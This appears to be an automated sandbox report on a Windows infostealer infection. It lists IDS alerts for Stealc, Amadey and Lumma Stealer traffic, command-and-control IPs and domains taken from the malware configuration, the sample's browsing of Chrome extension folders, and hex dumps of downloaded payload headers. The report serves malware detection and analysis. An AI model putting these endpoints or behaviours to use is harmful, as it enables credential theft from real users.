Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49900 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2054723125.000000006FE3D000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2025550529.0000000000C9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2054264456.000000006D491000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1422553388.00000000056CB000.00000004.00001000.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2567939622.000000000630C000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2495407278.00000000088AB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2361785150.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 0000001E.00000003.2321135289.00000000054CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2479376498.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 00000021.00000003.2438045776.00000000057CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000003.2608697053.000000000510B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2025550529.0000000000C9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2054264456.000000006D491000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.1422553388.00000000056CB000.00000004.00001000.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2567939622.000000000630C000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2495407278.00000000088AB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2361785150.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 0000001E.00000003.2321135289.00000000054CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2479376498.0000000000D9C000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 00000021.00000003.2438045776.00000000057CB000.00000004.00001000.00020000.00000000.sdmp, ef7349e1dc.exe, 00000025.00000003.2608697053.000000000510B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: ae09953578.exe, 00000022.00000002.2624320326.0000000000AF2000.00000040.00000001.01000000.0000001A.sdmp, ae09953578.exe, 00000022.00000003.2488561730.0000000004970000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2054723125.000000006FE3D000.00000002.00000001.01000000.00000013.sdmp

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Directory queried: number of queries: 2360

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49705 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49843 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:61334 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49844
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.8:51640 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:52699 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:61100 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.8:51945 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.8:53966 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:64278 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49848 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:51764 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:52989 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.8:50300 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:59206 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.8:51493 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49857 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49866 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49859 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49864 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:65248 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49871 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49874 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49875 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49855 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49877 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49878 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49879 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49880 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49882 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.8:57535 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.8:60964 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.8:54411 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49885 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.8:61359 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.8:51713 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49887 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.8:56098 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49884 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49890 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49892 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49893 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49895 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49898 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49896 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057120 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI) : 192.168.2.8:49900 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49851 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49849 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49865 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49864 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49887 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49887 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49895 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49898 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49874 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49900 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.8:49882 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:20:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 08 Nov 2024 14:21:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
